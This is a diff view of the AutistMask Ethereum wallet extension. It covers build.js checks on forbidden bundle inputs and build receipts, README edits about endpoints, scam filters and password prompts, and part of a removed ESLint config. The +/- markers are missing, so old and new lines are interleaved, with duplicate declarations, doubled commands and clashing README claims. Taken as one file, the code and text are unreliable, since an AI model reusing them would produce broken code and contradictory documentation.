// "the forbidden module still exists at this path" checkable at all.
function recordBundledInputs(metafile, record) {
for (const info of Object.values(metafile.outputs)) {
for (const input of Object.keys(info.inputs)) {
record.bundledInputs.add(repoRelative(input));
}
}
}
// Fail the build when an entry point's bundle contains a module it is
// prohibited from reaching. The inputs come from esbuild's metafile, so this is
// the resolution the shipped bundle was built from and not a guess at it.
//
// A background entry point with no line in the table fails here too. The five
// defects this exists to prevent were accidents, and so is adding a second
// worker entry point without knowing that a table somewhere needs a line: the
// protection has to be the default for that directory rather than something
// the next author must opt into.
function assertNoForbiddenInputs(
entryPoint,
outfile,
metafile,
record,
table = FORBIDDEN_INPUTS,
) {
const entry = repoRelative(entryPoint);
const forbidden = table[entry];
if (!forbidden) {
if (!entry.startsWith(BACKGROUND_ENTRY_PREFIX)) return;
throw new Error(
`${entry} is a background entry point with no line in ` +
`FORBIDDEN_INPUTS, so nothing stops its bundle from ` +
`containing the shared state singleton. Add it to ` +
`script/lib/forbiddenBundleInputs.js. The MV3 worker never ` +
`populates that singleton, so reading it serves ` +
`DEFAULT_STATE; use getState()/updateState() from ` +
`src/background/state.js instead.`,
);
}
const out = repoRelative(outfile);
const entryOutput = Object.entries(metafile.outputs).find(
([outFile]) => repoRelative(outFile) === out,
);
if (!entryOutput) {
throw new Error(`esbuild reported no metafile output for ${out}`);
}
const inputs = new Set(
Object.keys(entryOutput[1].inputs).map(repoRelative),
);
// Recorded only once the bundle's inputs are actually in hand. Marking the
// entry checked any earlier — as this did — means an early return above
// satisfies assertForbiddenTableCovered() with a bundle nobody examined,
// and the coverage half cannot tell that from a real check. The lookup
// above is the fragile step: repoRelative() resolves against process.cwd()
// while esbuild's output keys are cwd-relative, so a change to where the
// build runs from could miss.
record.entriesChecked.add(entry);
for (const module of forbidden) {
if (!inputs.has(module)) continue;
const chain = importChain(metafile, entryPoint, module);
throw new Error(
`${out} bundles ${module}, which ${entry} must not reach` +
`${chain ? `: ${chain.join(" -> ")}` : ""}. The MV3 worker ` +
`never populates the shared state singleton, so reading it ` +
`serves DEFAULT_STATE. Use getState()/updateState() from ` +
`src/background/state.js instead.`,
);
}
}
// Fail the build when the table has rotted away from the tree it describes.
// Both halves of an entry rot independently, and either one turns the whole
// prohibition into a pass that checks nothing:
//
// - the KEY, when no bundled entry point matches it: the entry point was
// renamed or is no longer built, and no bundle was ever tested against the
// list;
// - the MODULE, when this build bundled it nowhere: the module was renamed,
// moved or deleted, so "is it an input of the background bundle" is asked
// about a path nothing resolves to and is answered no forever. The popup
// legitimately bundles src/shared/state.js, which is what makes this
// checkable — and it is stronger than an existsSync(), because it also
// fails when the file is still there but has dropped out of every bundle.
//
// This matters concretely: https://git.eeqj.de/sneak/AutistMask/issues/311
// rewrites this persistence layer, and a rename that quietly disarmed the
// guarantee would put the singleton back within reach of the worker with every
// check in the repo still green.
//
// The third way — an entry that lists no modules at all — is refused where the
// table is defined, at require time, because that one also empties the ESLint
// rule's forbidden set and so has to fail before either layer runs. It is
// re-checked here so the build's own half does not depend on the table having
// been loaded from that file.
function assertForbiddenTableCovered(record, table = FORBIDDEN_INPUTS) {
assertTableWellFormed(table);
for (const [entry, modules] of Object.entries(table)) {
if (!record.entriesChecked.has(entry)) {
throw new Error(
`${entry} is listed in FORBIDDEN_INPUTS but was not bundled, ` +
`so nothing checked it`,
);
}
for (const module of modules) {
if (record.bundledInputs.has(module)) continue;
throw new Error(
`${module} is listed in FORBIDDEN_INPUTS for ${entry}, but ` +
`this build bundled it nowhere, so the prohibition names ` +
`a module that is not in this tree at that path and ` +
`nothing enforces it. If the module moved, move it in ` +
`script/lib/forbiddenBundleInputs.js too, which both ` +
`this check and the ESLint rule read.`,
);
}
}
}
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
// produces a release build. Failing towards the safe mode is deliberate.
function isDebugBuild() {
return process.env.AUTISTMASK_DEBUG === "1";
}
// A short git output, or null when git cannot answer. Distinguishing "git said
// nothing" from "git could not be asked" matters below: a working tree whose
// state is unknown must not be stamped as clean.
function git(args) {
try {
return execSync(`git ${args}`, {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
}).trim();
} catch {
// not a git repo, or git not available
return null;
}
}
// The working-tree state, as a suffix for the displayed commit: "" when the
// tree matches HEAD, "-dirty" when it does not, "-unknown" when git answered
// the hash but not the status. Without this a build from a modified tree
// stamped a clean hash, so the About screen named a commit whose contents were
// not what was running — the one thing that stamp exists to establish.
//
// git status --porcelain honours .gitignore, so dist/ and node_modules/ do not
// make every build dirty; an untracked file that is NOT ignored does, and
// correctly: it may well be in the bundle.
function worktreeSuffix() {
const status = git("status --porcelain");
if (status === null) return "-unknown";
return status === "" ? "" : "-dirty";
}
function getBuildInfo() {
const pkg = JSON.parse(
fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
);
const commitHashFull = git("rev-parse HEAD") || "unknown";
const shortHash = git("rev-parse --short HEAD") || "unknown";
// The full hash is left clean because it is the href of the commit link in
// the About screen, and "abc123-dirty" is not a commit anyone can fetch.
// The displayed short hash carries the marker, so the screen says the tree
// was modified while still linking somewhere real.
const commitHash =
shortHash === "unknown" ? shortHash : shortHash + worktreeSuffix();
return {
// Fails the build when package.json and the two manifests disagree;
// see script/lib/version.js. Called before anything is emitted, so a
// tree with no single version never reaches dist/.
version: resolveVersion(__dirname),
license: pkg.license,
author: pkg.author,
commitHash,
commitHashFull,
buildDate: new Date().toISOString().slice(0, 10),
};
}
async function build() {
console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo);
const debugBuild = isDebugBuild();
console.log(
debugBuild
? "Build mode: DEBUG (INSECURE - hardcoded test mnemonic, do not ship)"
: "Build mode: release (DEBUG off)",
);
const define = {
__BUILD_DEBUG__: JSON.stringify(debugBuild),
__BUILD_VERSION__: JSON.stringify(buildInfo.version),
__BUILD_LICENSE__: JSON.stringify(buildInfo.license),
__BUILD_AUTHOR__: JSON.stringify(buildInfo.author),
__BUILD_COMMIT__: JSON.stringify(buildInfo.commitHash),
__BUILD_COMMIT_FULL__: JSON.stringify(buildInfo.commitHashFull),
__BUILD_DATE__: JSON.stringify(buildInfo.buildDate),
};
// Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and recorded in the receipt for script/verify-build.
const auditedBundles = [];
// What the forbidden-input checks accumulate across those same runs.
const forbiddenRecord = newForbiddenRecord();
// compile tailwind CSS
console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST);
// The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build.
const tailwindBin = path.join(
__dirname,
"node_modules",
".bin",
"tailwindcss",
);
const tailwindOutput = path.join(__dirname, "dist", "styles.css");
ensureDir(path.join(__dirname, "dist"));
execSync(
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
`npx @tailwindcss/cli -i ${tailwindInput} -o ${tailwindOutput} --minify`,
{ stdio: "inherit" },
);
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added.
async function bundle(entryPoint, outfile) {
const result = await esbuild.build({
entryPoints: [entryPoint],
bundle: true,
format: "iife",
outfile,
platform: "browser",
target: ["chrome110", "firefox110"],
minify: true,
metafile: true,
define,
});
// Before the output is recorded as emitted: a bundle that violates a
// prohibition must abort the build, not be written into a receipt.
recordBundledInputs(result.metafile, forbiddenRecord);
assertNoForbiddenInputs(
entryPoint,
outfile,
result.metafile,
forbiddenRecord,
);
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
}
for (const distDir of [DIST_CHROME, DIST_FIREFOX]) {
ensureDir(path.join(distDir, "src", "popup"));
@@ -490,85 +30,73 @@ async function build() {
ensureDir(path.join(distDir, "src", "content"));
// bundle popup JS with esbuild (inlines ethers, libsodium, etc.)
await bundle(
path.join(SRC, "popup", "index.js"),
path.join(distDir, "src", "popup", "index.js"),
);
await esbuild.build({
entryPoints: [path.join(SRC, "popup", "index.js")],
bundle: true,
format: "iife",
outfile: path.join(distDir, "src", "popup", "index.js"),
platform: "browser",
target: ["chrome110", "firefox110"],
minify: true,
});
// bundle background script
await bundle(
path.join(SRC, "background", "index.js"),
path.join(distDir, "src", "background", "index.js"),
);
await esbuild.build({
entryPoints: [path.join(SRC, "background", "index.js")],
bundle: true,
format: "iife",
outfile: path.join(distDir, "src", "background", "index.js"),
platform: "browser",
target: ["chrome110", "firefox110"],
minify: true,
});
// bundle content script
await bundle(
path.join(SRC, "content", "index.js"),
path.join(distDir, "src", "content", "index.js"),
);
await esbuild.build({
entryPoints: [path.join(SRC, "content", "index.js")],
bundle: true,
format: "iife",
outfile: path.join(distDir, "src", "content", "index.js"),
platform: "browser",
target: ["chrome110", "firefox110"],
minify: true,
});
// bundle inpage script (injected into page context, separate file)
await bundle(
path.join(SRC, "content", "inpage.js"),
path.join(distDir, "src", "content", "inpage.js"),
);
await esbuild.build({
entryPoints: [path.join(SRC, "content", "inpage.js")],
bundle: true,
format: "iife",
outfile: path.join(distDir, "src", "content", "inpage.js"),
platform: "browser",
target: ["chrome110", "firefox110"],
minify: true,
});
// copy popup HTML
copyEmitted(
fs.copyFileSync(
path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"),
);
// place compiled CSS next to popup HTML
copyEmitted(
fs.copyFileSync(
tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"),
);
}
// copy manifests
copyEmitted(
fs.copyFileSync(
path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"),
);
copyEmitted(
fs.copyFileSync(
path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"),
);
assertForbiddenTableCovered(forbiddenRecord);
// Written last so a build that died partway through leaves no receipt at
// all, which script/verify-build treats as a hard failure rather than as
// "nothing to check".
if (receiptPath) {
writeReceipt(receiptPath, auditedBundles);
}
console.log("Build complete: dist/chrome/ and dist/firefox/");
}
// Run only as a program. Required as a module — which is how
// tests/buildForbiddenInputs.test.js reaches the checks below — this file
// builds nothing and writes nothing.
if (require.main === module) {
build().catch((err) => {
console.error(
`Build failed: ${err && err.message ? err.message : err}`,
);
process.exit(1);
});
}
// Exported for tests/buildForbiddenInputs.test.js only. The prohibition these
// three functions enforce is the guarantee behind
// https://git.eeqj.de/sneak/AutistMask/issues/324, and `make check` does not
// run `make build` — so they are unit tested against synthetic metafiles
// rather than being exercised only by CI, where "it ran" is not "it works".
module.exports = {
importChain,
newForbiddenRecord,
recordBundledInputs,
assertNoForbiddenInputs,
assertForbiddenTableCovered,
};
build();

View File

@@ -6,10 +6,10 @@ and ERC-20 tokens, and connects to web3 sites. Nothing else.
## Why AutistMask Exists
The most popular browser-based EVM wallet has become bloated with swap UIs,
portfolio dashboards, analytics, tracking, and advertisements. It is no longer a
simple wallet. The common alternatives only support Chromium browsers, leaving
Firefox users without a usable option.
MetaMask has become bloated with swap UIs, portfolio dashboards, analytics,
tracking, and advertisements. It is no longer a simple wallet. Most alternatives
(Rabby, Rainbow, etc.) only support Chromium browsers, leaving Firefox users
without a usable option.
AutistMask exists because a wallet should be a wallet. You should be able to see
your balances, send tokens, receive tokens, and connect to sites. That is all a
@@ -27,10 +27,9 @@ analytics, use a portfolio tracker. The wallet is not the place for any of that.
- **Encrypt your recovery phrase and private keys at rest.** Your secrets are
encrypted on disk using Argon2id key derivation and XSalsa20-Poly1305
authenticated encryption (via libsodium). Your password is required whenever a
secret has to be decrypted: signing a transaction, signing a message or typed
data, exporting a private key, and deleting a wallet. Viewing balances and
addresses never requires a password.
authenticated encryption (via libsodium). Your password is required only when
signing a transaction. Viewing balances and addresses never requires a
password.
- **Let you choose your own RPC endpoint.** The default is a public Ethereum
RPC, but you can point it at your own node or any provider you trust. No
@@ -57,25 +56,23 @@ analytics, use a portfolio tracker. The wallet is not the place for any of that.
- **No NFT galleries or portfolio views.** This is a wallet, not a dashboard.
- **No third-party token list APIs.** Token balances come from the same block
explorer you configure for transaction history, and the extension ships its
own hardcoded list of top ERC-20 contract addresses for symbol-spoofing
detection. Any token you want tracked across all your addresses, you add
yourself by contract address.
- **No token auto-discovery.** AutistMask does not scan the blockchain for
tokens you might hold. You add tokens manually by contract address. This
prevents scam tokens from appearing in your wallet uninvited.
- **No backend servers operated by the developer.** Nothing is sent to any
server run by AutistMask. Every network destination is listed below.
- **No phishing blocklists from third parties.** AutistMask does not phone home
to check URLs against a remote blocklist. It does maintain a local list of
known scam addresses, but this is shipped with the extension, not fetched from
a server.
## How It Works
AutistMask is a browser extension that runs entirely in your browser. It does
not have a backend server. It communicates with five external destinations:
three you configure yourself, and two fixed ones used for scam detection.
not have a backend server. It communicates with three external services:
### External Services
**Ethereum JSON-RPC endpoint** (default: `ethereum-rpc.publicnode.com`;
`ethereum-sepolia-rpc.publicnode.com` on Sepolia)
**Ethereum JSON-RPC endpoint** (default: `ethereum-rpc.publicnode.com`)
This is how AutistMask talks to the Ethereum network. Every wallet needs an
Ethereum node to check balances, estimate gas, broadcast transactions, and
@@ -83,58 +80,27 @@ verify confirmations. The default is a free public RPC endpoint. You can change
this in Settings to any Ethereum JSON-RPC endpoint, including your own local
node.
When it is contacted: on every balance refresh (every 10 seconds while the popup
is open, every 60 seconds in the background), when you type an ENS name into the
Send screen, when a send is prepared and broadcast, while a pending transaction
is polled for its receipt, and for the reverse ENS lookups used to label
addresses (cached for 12 hours).
What gets sent: standard Ethereum JSON-RPC requests (balance queries,
transaction broadcasts, gas estimates, ENS lookups, contract-code checks). Your
addresses are necessarily visible to the RPC provider when querying balances.
transaction broadcasts, gas estimates, ENS lookups). Your addresses are
necessarily visible to the RPC provider when querying balances.
**Blockscout API** (default: `eth.blockscout.com/api/v2`;
`eth-sepolia.blockscout.com/api/v2` on Sepolia)
**Blockscout API** (default: `eth.blockscout.com/api/v2`)
Used to fetch token balances and transaction history. Blockscout is an
open-source blockchain explorer. AutistMask queries it for your ERC-20 token
balances (including the holder counts used for spam filtering) and your recent
transactions and token transfers. You can change this in Settings to a
balances and recent transactions. You can change this in Settings to a
self-hosted Blockscout instance.
When it is contacted: on every balance refresh, and whenever a screen showing
transaction history is opened.
What gets sent: your Ethereum addresses (to look up balances and transactions).
**CoinDesk CADLI price API** (`data-api.coindesk.com`)
Used to fetch current USD prices for ETH and the top 25 tokens. Prices are
cached for 5 minutes. No API key is required. This endpoint is not
user-configurable, and it is not contacted at all while you are on a testnet,
where no USD values are shown.
Used to fetch current USD prices for ETH and ERC-20 tokens. Prices are cached
for 5 minutes. No API key is required. No user data is sent -- only a list of
token symbols (e.g. "ETH", "USDC") to get their prices.
When it is contacted: while the popup is open, at most once every 5 minutes.
What gets sent: token symbol names (e.g. "ETH", "USDC"). No addresses, no
balances, no identifying information. As with any request, CoinDesk sees your IP
address.
**Etherscan address labels** (`etherscan.io`; `sepolia.etherscan.io` on Sepolia)
When you review a send, AutistMask fetches the recipient's public Etherscan
address page and looks for a "Fake_Phishing"/"Phish/Hack" label or a scam
warning, and shows a red warning if it finds one. This is a plain page fetch
with no API key, made by your browser. It is best-effort: if it fails, it is
silently ignored. This endpoint is not user-configurable.
When it is contacted: each time you reach the send confirmation screen.
What gets sent: the recipient address you are about to send to, and your IP
address. Your own addresses are not sent.
Etherscan links shown elsewhere in the UI (on addresses, transactions, and token
contracts) are ordinary links. They contact nothing until you click them.
What gets sent: token symbol names. No addresses, no balances, no identifying
information.
### What Stays Local
@@ -157,11 +123,8 @@ word recovery phrase can restore your wallet on any device without your
password. The password only protects the copy stored in this browser. If you
lose your recovery phrase, your password cannot help you recover it.
Your password is requested whenever an encrypted secret must be decrypted: when
you send a transaction, when a site asks you to sign a message or typed data,
when you export an address's private key, and when you delete a wallet. Viewing
balances, receiving funds, and browsing transaction history never require your
password.
Your password is only requested when you send a transaction. Viewing balances,
receiving funds, and browsing transaction history never require your password.
## Installation
@@ -184,46 +147,34 @@ password.
### Creating a New Wallet
1. Click the AutistMask icon in your browser toolbar.
2. Click "Add wallet" (on first use), or open Settings and click "+ Add wallet".
3. On the "From Phrase" tab, click the die button to generate a random 12-word
recovery phrase.
2. Click "Add wallet".
3. Click the die button to generate a random 12-word recovery phrase.
4. **Write down the recovery phrase and store it safely.** Anyone with these
words can take your funds. If you lose them, your wallet is gone. AutistMask
cannot recover them for you.
5. Choose a password and confirm it. This encrypts your recovery phrase on this
device.
6. Click "Import".
5. Choose a password. This encrypts your recovery phrase on this device.
6. Click "Add".
### Importing an Existing Wallet
The Add Wallet screen has three tabs:
**From a recovery phrase:** Follow the same steps as creating a wallet, but
paste your existing 12 or 24 word recovery phrase instead of generating a new
one. AutistMask uses the same derivation path as MetaMask (`m/44'/60'/0'/0`), so
your addresses will match.
**From Phrase:** Paste your existing 12 or 24 word recovery phrase instead of
generating a new one. AutistMask uses the standard BIP-44 Ethereum derivation
path (`m/44'/60'/0'/0`), which is what other wallets use by default, so your
addresses will match and your phrase stays portable in both directions.
**From Key:** Paste a single private key. This creates a single-address wallet.
**From xprv:** Paste an extended private key. This imports the HD wallet and
scans for used addresses.
All three tabs ask for the same password fields, and the "Import" button
finishes the job.
**From a private key:** On the Add Wallet screen, click "Have a private key
instead?" and paste your private key. This creates a single-address wallet.
### Adding More Addresses
HD wallets (created from a recovery phrase or an xprv) can derive multiple
addresses. On the home screen, click the "+" button next to a wallet name to add
the next address. These are deterministic -- the same recovery phrase will
always produce the same sequence of addresses.
HD wallets (created from a recovery phrase) can derive multiple addresses. On
the home screen, click the "+" button next to a wallet name to add the next
address. These are deterministic -- the same recovery phrase will always produce
the same sequence of addresses.
### Adding ERC-20 Tokens
Tokens you hold show up automatically only if they are in the extension's
bundled list of well-known tokens or have at least 1,000 holders; everything
else is treated as spam and hidden. To track a token explicitly (which also
shows it at zero balance), add it by contract address:
AutistMask does not auto-discover tokens. To track a token:
1. Go to an address detail view (click `[info]` on any address).
2. Click "+ Token".
@@ -232,13 +183,12 @@ shows it at zero balance), add it by contract address:
4. Click "Add".
The token balance will appear on the address detail screen and on the home
screen. Tokens can also be added from Settings, under "Tracked Tokens".
screen.
## Sending
1. Click "Send" from the home screen or an address detail view.
2. Select what to send (ETH, or any ERC-20 token with a balance on this address
that survives the spam filters).
2. Select what to send (ETH or any tracked ERC-20 token).
3. Enter the recipient address or ENS name (e.g. `vitalik.eth`).
4. Enter the amount.
5. Click "Review" to see the confirmation screen.
@@ -250,18 +200,12 @@ The confirmation screen shows:
- **From and To addresses** with identicons and Etherscan links
- **Amount** with USD estimate
- **Your current balance** with USD estimate
- **Network fee** — what the transfer is expected to cost, in ETH with a USD
estimate, and below it the larger amount reserved until it confirms. The
reserve is what the network requires up front and what the balance check gates
on; the refund of the difference is why the two differ
- **Warnings** if the recipient is a contract, a burn address, one of your own
addresses, on the bundled scam-address list, or labelled as a phisher on
Etherscan
- **Estimated network fee** in ETH with USD estimate
After reviewing, enter your password and click "Sign & Send". The transaction
will be broadcast to the network and you will see a waiting screen with a timer.
Once confirmed (or after 60 seconds), you will see either a success or error
screen with the transaction hash and an Etherscan link.
After reviewing, click "Send" and enter your password. The transaction will be
broadcast to the network and you will see a waiting screen with a timer. Once
confirmed (or after 60 seconds), you will see either a success or error screen
with the transaction hash and an Etherscan link.
### Sending a Specific Token
@@ -275,10 +219,10 @@ cannot accidentally switch to a different one.
1. Click "Receive" from the home screen or an address detail view.
2. Share the QR code or copy the address using the "Copy address" button.
When receiving ERC-20 tokens, make sure the sender is sending on the network you
are using. AutistMask supports Ethereum mainnet and the Sepolia testnet. Tokens
sent on other networks (Polygon, Arbitrum, BSC, etc.) to the same address will
not appear and may be permanently lost.
When receiving ERC-20 tokens, make sure the sender is sending on the Ethereum
network. AutistMask is an Ethereum mainnet wallet. Tokens sent on other networks
(Polygon, Arbitrum, BSC, etc.) to the same address will not appear and may be
permanently lost.
## Connecting to Web3 Sites
@@ -292,18 +236,8 @@ pages. When a site requests access to your wallet:
time.
When a connected site requests a transaction, a separate approval popup appears
showing the transaction details (from, to, value, data, network fee, network and
nonce). Every one of those values is checked against the transaction that is
actually signed before anything is broadcast, so what you read on that screen is
what goes out or nothing does. The popup appears once the wallet has worked out
the fee and gas from the network, which takes a moment; if that fails, no popup
appears and the site is told the transaction could not be prepared. You must
enter your password and click "Confirm" to authorize it. Message and typed-data
signature requests work the same way, with a "Sign" button, and also require
your password.
If the requesting site's domain is on the phishing blocklist, all three approval
screens show a red phishing warning before you decide.
showing the transaction details (from, to, value, data). You must enter your
password and click "Confirm" to authorize it.
You can manage site permissions in Settings. Allowed and denied sites can be
individually removed to reset their permissions.
@@ -313,25 +247,15 @@ individually removed to reset their permissions.
AutistMask includes several defenses against common Ethereum scams, all enabled
by default:
**Known token symbol verification.** AutistMask ships a bundled list of
high-market-cap ERC-20 tokens with their legitimate contract addresses — a
point-in-time snapshot of the highest-market-cap Ethereum mainnet ERC-20s, fixed
at build time and updated only when a new release ships a newer snapshot. If a
transaction or balance claims to involve a known symbol (like "ETH" or "USDT")
but comes from an unrecognized contract, it is identified as a spoof and hidden.
In your transaction history this is the "Hide fake tokens impersonating a known
symbol" setting, which you can switch off; doing so also stops new entries being
added to the fraud contract blocklist below, since detecting a spoof is what
fills it. The send token list always applies the check. Your balances apply it
too, with one exception: a token claiming the symbol "ETH" is not filtered
there, so a fake "ETH" token can still show up in your balance list even though
it is hidden from your transaction history and from the send token list.
**Known token symbol verification.** AutistMask ships a list of ~250 legitimate
ERC-20 tokens with their contract addresses. If a transaction claims to involve
a known symbol (like "ETH" or "USDT") but comes from an unrecognized contract,
it is identified as a spoof and hidden.
**Low-holder token filtering.** Tokens with fewer than 1,000 holders are hidden
from transaction history and the send token list, and are left out of your
balances unless they are on the bundled known-token list or you added them
yourself. Legitimate tokens have substantial holder counts; scam tokens deployed
for address poisoning typically have zero.
from transaction history and the send token list. Legitimate tokens have
substantial holder counts; scam tokens deployed for address poisoning typically
have zero.
**Fraud contract blocklist.** When AutistMask detects a fraudulent transfer, it
adds the contract address to a local blocklist. Future transactions from that
@@ -342,33 +266,15 @@ ETH by default) are hidden. Scammers send dust from look-alike addresses to
plant them in your transaction history. The threshold is configurable in
Settings.
**Scam address list.** A list of known fraud, drainer, and phishing addresses is
shipped with the extension. Sending to one of them raises a warning on the
confirmation screen. It contains only addresses involved in fraud -- it is not a
sanctions list.
**Phishing domain warnings.** Sites asking to connect or to have something
approved are checked against a community-maintained list of known phishing
domains, and flagged with a red banner if they match. The list is built into the
extension: the check is entirely local, so nobody is told which sites you visit,
and it works offline. It is also only as current as the release you are running
— a domain added to the list upstream reaches you in the next version of the
extension, not the same day.
The first four filters can be individually disabled in Settings if you prefer to
All of these filters can be individually disabled in Settings if you prefer to
see everything unfiltered.
## Settings
Click the gear icon on the home screen to access settings:
- **Wallets**: Your wallets, and "+ Add wallet".
- **Tracked Tokens**: The ERC-20 tokens tracked across all addresses, and "+ Add
token".
- **Display**: Toggle whether tracked tokens with zero balance are shown, switch
timestamps to UTC, and choose the theme (System, Light, or Dark).
- **Network**: Switch between Ethereum Mainnet and Sepolia Testnet. Switching
resets the RPC and Blockscout endpoints to that network's defaults.
- **Wallets**: Add a new wallet.
- **Display**: Toggle whether tracked tokens with zero balance are shown.
- **Ethereum RPC**: Change the Ethereum node endpoint. Default is a public RPC.
You can use your own node for maximum privacy.
- **Blockscout API**: Change the Blockscout instance used for token balances and
@@ -376,17 +282,15 @@ Click the gear icon on the home screen to access settings:
- **Token Spam Protection**: Toggle individual scam filters and set the dust
transaction threshold.
- **Allowed Sites / Denied Sites**: View and manage web3 site permissions.
- **About**: License, author, version, release date, and a link to the commit
this build came from.
## Frequently Asked Questions
**Can I use AutistMask alongside another wallet?**
**Is AutistMask compatible with MetaMask?**
Yes. AutistMask uses the standard `m/44'/60'/0'/0` derivation path, so importing
the same recovery phrase gives you the same addresses as any other wallet using
that path. Two wallet extensions can be installed side by side, though only one
can be the active `window.ethereum` provider at a time.
Yes. AutistMask uses the same derivation path (`m/44'/60'/0'/0`) as MetaMask. If
you import the same recovery phrase, you will get the same addresses. You can
use both wallets side by side, though only one can be the active
`window.ethereum` provider at a time.
**Can I use AutistMask with a hardware wallet?**
@@ -394,9 +298,8 @@ Not yet. Hardware wallet support may be added in the future.
**Does AutistMask support networks other than Ethereum mainnet?**
Ethereum mainnet and the Sepolia testnet, selectable in Settings. No other
networks are supported today. On Sepolia, USD values are not shown, because
testnet tokens have no market value.
Not currently. AutistMask is Ethereum mainnet only. Multi-chain support may be
added in the future.
**Where is my data stored?**
@@ -409,7 +312,7 @@ to any server operated by AutistMask.
Your data is deleted. Make sure you have your recovery phrase backed up before
uninstalling. With your recovery phrase, you can restore your wallet in
AutistMask or any other wallet that uses the standard derivation path.
AutistMask or any other compatible wallet (MetaMask, etc.) at any time.
**What happens if a transaction times out?**

View File

@@ -1,190 +0,0 @@
// ESLint flat config. Static analysis for make check; formatting stays with
// prettier (script/fmt-check), so nothing here touches style.
//
// The sources are CommonJS and are bundled per entrypoint by build.js, so the
// globals differ by tree and are declared per tree below. Getting that wrong in
// either direction defeats the point: too few globals buries a real no-undef in
// false positives, too many hides the next unimported identifier.
const js = require("@eslint/js");
const globals = require("globals");
const backgroundState = require("./script/lib/eslint/noStateSingletonInBackground");
const {
BACKGROUND_ENTRY_PREFIX,
} = require("./script/lib/forbiddenBundleInputs");
// The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
// the code feature-detects between them.
const extensionGlobals = {
chrome: "readonly",
browser: "readonly",
};
const commonjs = {
ecmaVersion: 2024,
sourceType: "commonjs",
};
module.exports = [
{
ignores: ["dist/", "node_modules/"],
},
js.configs.recommended,
{
rules: {
// The two rules this config exists for. Both are already
// error-level in the recommended set; restated so a future
// recommended-set change cannot silently downgrade them.
"no-undef": "error",
// `_`-prefixed arguments are the deliberate "present for the
// interface, unused here" marker: the popup views share one
// init(ctx) signature and three of the eight do not read ctx.
// An unused catch binding is written `catch {`, which the repo
// already does, so caught errors stay checked.
"no-unused-vars": ["error", { argsIgnorePattern: "^_" }],
// Off tree-wide: it requires every rethrow to carry `{ cause }`,
// at 3 sites today (src/shared/balances.js 207 and 215,
// tests/e2e/firefox/run.js 131). That is a change to what the
// wallet's error paths actually throw, and it is a decision of its
// own rather than a side effect of turning a linter on — so it is
// off everywhere, including for new code, until that decision is
// made. Unlike no-useless-assignment below, this is not an
// accommodation of particular sites and must not be scoped to
// them.
"preserve-caught-error": "off",
},
},
// no-useless-assignment stays on everywhere except the two files that
// wipe decrypted key material: the `password = null` and
// `decryptedSecret = null` assignments after use are dead by construction
